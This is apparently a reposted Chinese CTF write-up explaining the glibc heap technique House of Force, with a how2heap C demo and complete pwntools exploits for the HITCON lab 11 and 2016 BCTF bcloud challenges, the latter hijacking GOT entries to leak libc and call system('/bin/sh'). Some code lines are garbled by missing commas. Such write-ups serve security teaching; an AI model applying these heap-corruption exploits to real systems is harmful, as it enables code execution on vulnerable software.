PWN:House Of Force


House Of Force原理


how2heap 的例子python

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main(int argc , char* argv[])
{
    fprintf(stderr"\n歡迎學習 House of Force\n\n");
    fprintf(stderr"House of Force 這種方法是去覆寫 top chunk 這樣 malloc 的時候就能夠 malloc 到任意地址\n");
    fprintf(stderr"top chunk 是一類特殊的 chunk,在內存最後面。而且是當 malloc 向操做系統請求更多空間時將調整大小的塊。\n");
    fprintf(stderr"\n最後咱們會覆蓋這個變量 %p.\n", bss_var);
    fprintf(stderr"如今變量值是:%s\n", bss_var);
    fprintf(stderr"\n先分配一個 chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr"malloc(256) 的地址: %p.\n", p1 - 2);
    fprintf(stderr"\n如今有兩塊,一個咱們申請的,一個 top chunk.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr"咱們申請的 chunk 加上 chunk 頭,大小是:%ld.\n", real_size + sizeof(long)*2);
    fprintf(stderr"\n如今假設有一個漏洞,能夠覆蓋掉 top chunk 的頭部分\n");
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr"\ntop chunk 起始地址是:%p\n", ptr_top);
    fprintf(stderr"\n用一個很大的值覆蓋掉 top chunk 的 size 位能夠防止 malloc 調用 mmap\n");
    fprintf(stderr"top chunk 以前的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr"top chunk 如今的 size:%#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    fprintf(stderr"\n由於如今 top chunk 的 size 是很大的,因此咱們能夠調用 malloc 而不會調用 mmap\n");
    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr"\n咱們想把數據寫在這裏:%p, top chunk 在:%p, 還要把 chunk 頭算進去,咱們將要申請 %#lx 字節.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr"新申請的 chunk 將會與以前的 top chunk 在同一個位置: %p\n", new_ptr - sizeof(long)*2);
    void* ctr_chunk = malloc(100);
    fprintf(stderr"\n接下來再申請 chunk 的話將會指向咱們想要修改的地方\n");
    fprintf(stderr"malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr"如今咱們就能夠控制 bss_var 這塊地方的值了\n");
    fprintf(stderr"... 以前內容是: %s\n", bss_var);
    fprintf(stderr"... 接下來把 \"YEAH!!!\" 寫到那裏...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr"... 新的內容: %s\n", bss_var);
}

首先申請了 0x100 大小的 chunk,如今的內存佈局以下web



修改 top chunk 的 size 爲一個很大的數ubuntu



當咱們去申請的時候,新的 top chunk 的地址 new_top 應該是 old_top + size(size 是 malloc 的 chunk 的大小加上 chunk 頭的大小),咱們想要去控制 new_top 就只能經過控制這個 size微信

咱們想要讓 new_top 到 0x602060,0x602060-0x20 =old_top + size,因此這個 size 應該是 0x602040-old_top=0xffffef30 即 0xffffffffffffef30,也就是說只要申請 0xffffffffffffef30 大小的 chunk 就能把 top chunk 改到0x602060-0x10,而後再申請一個的時候就是 0x602060 了編輯器


爲啥減去了0x20 吶?函數

咱們想要申請到 0x602060 的時候要留出它的 chunk 頭 0x10 這就是說 0x602060-0x10 = old_top+size,即 size = 0x602060-0x10 - old_top,可是還要注意,咱們去申請 size 的時候實際上申請的是 size+0x10 大小的 chunk,還要把這個 0x10 留出來,即咱們要少申請 0x10 大小的 size佈局

因此 size = 0x602060-0x10 - old_top -0x10,減的一共是 0x20學習


這以後再去申請一個 chunk 就能控制前面定義的變量了ui



HITCON training lab 11


由於程序一開始會申請一個堆塊,存放 hello 和 goodbye 的函數指針,因此思路是把內存申請的那裏,而後修改 goodbye 指針爲 magicurl


create(0x30"yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)


先申請一個,而後經過編輯一個更大的 size 把 top chunk 給改掉




想要修改那個指針就須要 malloc 申請到 topchunk - 0x60 也就是 0x603000 那裏,另外還要減去 0x10 咱們申請的那個 size 的 chunk 頭的大小



offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()


改後:



能夠讀到 flag,wp 減的 0x8 跟 0xf 不懂爲啥,按照上面原理那樣去作是能夠達到目的的 Orz...



完整 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./bamboobox')

def cmd(choice):
  p.sendlineafter('',str(choice))
  
def create(size,content):
  cmd(2)
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('item:',content)

def edit(index,size,content):
  cmd(3)
  p.sendlineafter('of item:',str(index))
  p.sendlineafter('item name:',str(size))
  p.sendlineafter('the item:',content)

def delete(index):
  cmd(4)
  p.sendlineafter('of item:',str(index))

def quit():
  cmd(5)

magic = 0x400d49
create(0x30"yichen")
content='a'*0x30+'1'*8+p64(0xffffffffffffffff)
edit(0,0x40,content)
offset=-0x60-0x10
create(offset,'1234')
create(0x10,p64(magic)*2)
quit()
p.interactive()


2016 BCTF bcloud


exp:

from pwn import *
context.log_level = 'debug'
context.binary = "./bcloud"
p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF('./libc.so.6')

def cmd(choice):
  p.sendlineafter('option--->>',str(choice))

def create(size,content):
  cmd(1)
  p.sendlineafter('note content:\n',str(size))
  p.sendlineafter('the content:\n',content)

def edit(index,content):
  cmd(3)
  p.sendlineafter('the id:\n',str(index))
  p.sendlineafter('new content:\n',content)

def delete(index):
  cmd(4)
  p.sendlineafter('the id:\n',str(index))

def syn():
  cmd(5)

p.sendafter('Input your name:\n''a' * 0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
heap_base = u32(p.recv(4)) - 8
p.sendafter('Org:\n''a' * 0x40)
p.sendlineafter('Host:\n', p32(0xffffffff))
topchunk_addr = heap_base + (0x40 + 8) * 3
notesize_addr = 0x0804B0A0
notelist_addr = 0x0804B120
p.sendlineafter('option--->>''1')
offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))
if malloc_size - 4 > 0:
    p.sendlineafter('Input the content:\n''')

payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)
edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>''/bin/sh\x00')
p.interactive()


在一開始要求輸入 name 的時候後面有一個 strcpy 函數,注意 s 跟 tmp 距離 ebp 的位置,當輸入的的 name 夠了 0x40 的時候會把 tmp 的地址一塊兒複製過去(strcpy 遇到 \x00 截斷)那麼能夠經過這個來泄漏 heap 的地址



另外,在 org 那裏也有這個問題,把 s 複製到 v2 那裏,而 v2 是與 top chunk 相鄰的,能夠經過 v2 覆蓋掉 top chunk 的 size



這些個指針什麼的畫個圖來看一下,當咱們把 org 中填充滿了,而後他就會把後面的 *org 與 host 也給複製過來,那 host 那個地方若是寫上 0xffffffff 的話就能夠把 top chunk 的 size 給覆蓋掉了



p.sendlineafter('Input your name:\n','a'*0x40)
p.recvuntil('Hey ' + 'a' * 0x40)
p.sendlineafter('Org:\n','a'*0x40)
heap_base = u32(p.recv(4)) - 8
p.sendlineafter('Host:\n', p32(0xffffffff))
top_addr=heap_base+(0x40+0x8)*3


而後計算出須要申請的 size,另外這裏申請一個負數的時候它直接退出了,可是在 pwntools 的 debug 輸出中卻能夠直接成功!?


offset = notesize_addr - 8 - topchunk_addr
malloc_size = offset - 8
p.sendlineafter('Input the length of the note content:\n',str(malloc_size - 4))


這樣 top chunk 就被改到了 0x0804B0A0-0x8 這裏,去申請的時候就能夠改寫


payload = p32(16) * 3 + (notelist_addr - notesize_addr - 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
create(1000,payload)


這裏前面三個 p32(16) 是 size,而後中間填充一堆 a,後面是到了 notelist_addr 那裏,分別是 free 的 got 表項和兩個 atoi 的 got 表



這樣的話就能夠編輯這些 got 表項了,先把 free 的 got 表改爲 put 的,泄露出 atoi 的真實地址


edit(0,p32(elf.plt['puts']))
delete(1)
atoi_addr = u32(p.recv(4))

再把 atoi 的 got 表項改爲 system 的地址,直接輸入 /bin/sh 就能夠啦


libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(2,p32(system_addr))
p.sendlineafter('option--->>''/bin/sh\x00')
p.interactive()

本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索